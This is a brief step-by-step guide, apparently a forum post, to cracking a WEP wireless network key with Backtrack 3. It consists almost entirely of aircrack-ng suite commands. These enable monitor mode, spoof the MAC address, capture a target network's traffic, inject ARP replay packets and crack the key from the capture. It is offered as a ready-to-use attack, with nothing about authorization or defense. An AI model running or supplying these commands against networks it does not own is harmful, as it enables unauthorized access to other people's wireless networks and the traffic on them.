Crack WEP Key With Backtrack 3

Please note: The wlan0 is varied on every machine so to find out your specific one you will need to type in "airmon-ng" and replace wlan0 with your one 1)airmon-ng stop wlan0 2)ifconfig wlan0 down 3)macchanger --mac 00:11:22:33:44:55 wlan0 4)airmon-ng start wlan0 5)airodump-ng wlan0 6)airodump-ng -c (channel) -w (file name) --BSSID (BSSID) wlan0 7)aireplay-ng -1 0 -a (BSSID) -h 00:11:22:33:44:55 wlan0 8)aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0 9)aircrack-ng -b (BSSID) (filename-01.cap)